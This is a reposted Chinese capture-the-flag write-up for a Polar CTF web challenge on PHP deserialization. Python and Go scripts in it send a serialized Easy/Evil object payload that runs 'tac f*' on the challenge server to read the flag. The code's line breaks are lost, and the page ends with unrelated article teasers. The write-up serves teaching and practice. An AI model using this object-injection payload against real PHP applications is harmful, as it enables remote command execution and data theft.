Polar Web【简单】PHP反序列化初试

Polar Web【简单】PHP反序列化初试

Contents

  • Polar Web【简单】PHP反序列化初试
    • 思路
    • EXP
      • 手动
      • 脚本
        • Python
        • Go
    • 运行&总结

思路

启动环境,显示下图中的PHP代码,于是展开分析:

  1. 首先发现Easy类中有魔术函数 __wakeup() ,实现的是对成员变量 $name 的回显。
  2. 观察下方发现, unserialize() 函数将触发该魔术函数的执行,因此考虑构造序列字符串传入该类的成员变量 $name 中,以触发命令执行。
  • 本题分别使用手动注入和脚本运行两种方式进行解答。

code

EXP

手动

manual
flag

脚本

Python
import requestsdef attack(url, payload):url += payloadres = (requests.get(url).content.decode('utf8'))if res:print(res[res.rindex('flag'):res.rindex('"')])if __name__ == '__main__':site = 'http://~.www.polarctf.com:8090/'pl = '?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}'attack(site, pl)
Go
package mainimport ("fmt""io/ioutil""net/http""net/url""strings"
)func attack(url string) {//fmt.Println("url:", url)if resp, err := http.Get(url); err != nil {panic("GET ERR: " + err.Error())} else {out, _ := ioutil.ReadAll(resp.Body)ans := string(out)fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "\"")])}
}func main() {baseURL := "http://~.www.polarctf.com:8090/"// 解析基础 URLu, err := url.Parse(baseURL)if err != nil {panic(err)}// 解析查询字符串q, err := url.ParseQuery(u.RawQuery)if err != nil {panic(err)}// 添加或更新查询参数q.Set("easy", "O:4:\"Easy\":1:{s:4:\"name\";O:4:\"Evil\":2:{s:4:\"evil\";s:6:\"tac f*\";s:3:\"env\";N;}}")// 编码查询字符串u.RawQuery = q.Encode()attack(u.String())
}
  • !注意 !在Go语言中,为了防止特殊的字符导致URL被截断引发HTTP请求异常,需要对原生URL进行编码处理

运行&总结

run

  • 本题考查PHP代码分析、反序列化以及序列构造的技巧
  • 需要对PHP面向对象设计有所认识






敬,不完美的明天

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/850489.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VisionPro的应用和入门教程

第1章 关于VisionPro 1.1 康耐视的核心技术 1. 先进的视觉系统 康耐视的视觉系统结合了高性能的图像传感器、复杂的算法和强大的计算能力,能够实时捕捉、分析和处理高分辨率图像。其视觉系统包括固定式和手持式两种,适用于各种工业环境。无论是精密电…

深度学习、神经网络领域经常听到一个术语 “量化“,比如 “量化算子“,“量化“具体什么含义呢?( 百度 AI 对话回答 )

问题:深度学习、神经网络领域经常听到一个术语 "量化",比如 "量化算子","量化"具体什么含义呢? 百度 AI 回答: 在深度学习和神经网络领域中,“量化”是一个重要的技术术语…

[经验] 场效应管是如何发挥作用的 #知识分享#学习方法#职场发展

场效应管是如何发挥作用的 在现代电子技术领域,场效应管(MOSFET)是一种重要的半导体元器件。它的作用非常广泛,例如在集成电路中扮演着关键的角色。在本文中,我们将详细探讨场效应管的作用及其在实际应用中的意义。 简…

SpringBoot+Vue企业客户管理系统(前后端分离)

技术栈 JavaSpringBootMavenMySQLMyBatisVueShiroElement-UI 角色对应功能 员工管理员 功能截图

git根据历史某次提交创建新分支

有时候项目在做版本管理的时候,忘记了创建某次版本的分支,而直接在主分支上进行开发了,这个时候,想要对某次提交单独拉出来一个版本分支,就需要用到这个功能: git checkout -b 新分支名 某次提交的id 找到…

数据交换平台_07_实现消息的路由和过滤

数据交换平台_07_实现消息的路由和过滤 目录概述需求:设计思路实现思路分析1.消息路由2.消息过滤拓展实现参考资料和推荐阅读Survive by day and develop by night. talk for import biz , show your perfect code,full busy,skip hardness,make a better result,wait for ch…

LLM技术

LLM 是利用深度学习和大数据训练的人工智能系统,专门设计来理解、生成和回应自然语言。这些模型通过分析大量的文本数据来学习语言的结构和用法,从而能够执行各种语言相关任务。以 GPT 系列为代表,LLM 以其在自然语言处理领域的卓越表现&…

解决win10 下xd不能拖动图片的问题

win10下有时候安装了xd不能向软件中直接拖动图片,解决方案如下: 1.WinR 输入:regedit 回车打开注册表 2.注册表中打开: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 3.新建dword32类型&…

Web前端HB:深入探索其四大核心、五大要素、六大技术以及七大挑战

Web前端HB:深入探索其四大核心、五大要素、六大技术以及七大挑战 Web前端HB,作为一个蓬勃发展的技术领域,不仅关乎网页的呈现,更涉及到用户体验的方方面面。然而,对于初学者或是对此领域了解不深的开发者来说&#xf…

53.ReentrantLock原理

ReentrantLock使用 ReentrantLock 实现了Lock接口, 内置了Sync同步器继承了AbstractQueuedSynchronizer。 Sync是抽象类,有两个实现NonfairSync非公平,FairSync公平。 所以ReentrantLock有公平锁和非公平锁。默认是非公平锁。 public sta…

【JavaScript脚本宇宙】通知新风尚:打造互动性十足的Web提示系统

定制通知体验:深入了解JavaScript通知库 前言 在现代web开发中,通知库扮演着至关重要的角色,它们为用户界面的交互性和用户体验提供了关键支持。本文将介绍一些常用的JavaScript通知库,从简单实用到高度定制化各有特色&#xff…

线性预测器的等价性

摘要 尽管线性模型很简单,但它在时间序列预测中表现良好,即使是在与更深入、更昂贵的模型竞争时也是如此。已经提出了许多线性模型的变体,通常包括某种形式的特征归一化,以提高模型的泛化。本文分析了用这些线性模型体系结构可表…

未来的视窗:苹果Vision Air猜想与期待

在科技日新月异的今天,每一次新产品的发布都引领着行业的新趋势。当我们谈论苹果时,这家全球科技巨头总是以其独特的创新理念和精湛的工艺设计,一次次刷新我们对科技产品的认知。近期,关于苹果未来可能推出的“Apple Vision Air”的讨论成为了热门话题。今天,我们就来一起…

Mysql使用中的性能优化——索引数对插入操作性能的影响

表的索引可以给数据检索提升效率,但是也给表的增删改操作带来代价。本文我们将关注,索引数量对INSERT操作的影响。 结论 索引数的新增会造成INSERT操作效率下降,约每增一个索引会降低10%效率。 实验数据 可以看到0个索引的效率是7个索引效…

【C++题解】1265. 爱因斯坦的数学题

问题:1265. 爱因斯坦的数学题 类型:简单循环 题目描述: 爱因斯坦出了一道这样的数学题:有一条长阶梯,若每步跨 2 阶,则最最后剩一阶,若每步跨 3 阶,则最后剩 2 阶,若每…

分布式事务大揭秘:使用MQ实现最终一致性

本文作者:小米,一个热爱技术分享的29岁程序员。如果你喜欢我的文章,欢迎关注我的微信公众号“软件求生”,获取更多技术干货! 大家好,我是小米,一个热爱分享技术的29岁程序员,今天我们来聊聊分布式事务中的一种经典实现方式——MQ最终一致性。这是一个在互联网公司中广…

Wow Tab插件,一款能让你的Edge浏览器开挂的插件,微软官方出品

首先问你个问题,你的浏览器起始页是什么样的界面?是默认的界面还是极简的界面?又或者是既简洁又功能丰富的新型起始页呢?如果你的起始页是浏览器默认的,从来都没有更改过的话,建议你可以尝试一些第三方的起…

6.切蛋糕

上海市计算机学会竞赛平台 | YACSYACS 是由上海市计算机学会于2019年发起的活动,旨在激发青少年对学习人工智能与算法设计的热情与兴趣,提升青少年科学素养,引导青少年投身创新发现和科研实践活动。https://www.iai.sh.cn/problem/71 题目描述 一个圆型的蛋糕,切 𝑛n 刀…

c++ pugixml编译动态库dll

pugixml库默认是编译成静态库的。要把pugixml库编译成一个动态库,需要对代码做一些修改,具体是将 // If no API is defined, assume default #define PUGIXML_API 如下: #if defined(_MSC_VER) && _MSC_VER > 1300 #ifndef P…

【C++第九课 - vector】vector介绍、vector使用,vector的底层实现、杨辉三角、全排列、只出现一次的数字

目录 一、vector的介绍二、vector的使用1、vector的构造函数2、vector的插入和三种遍历方式3、开空间4、insert5、find6、erase补充 三、vector的底层实现1、成员变量2、构造函数3、push_back4、访问方式5、pop_back6、insert - pos位置插入x7、resize8、拷贝构造9、赋值10、er…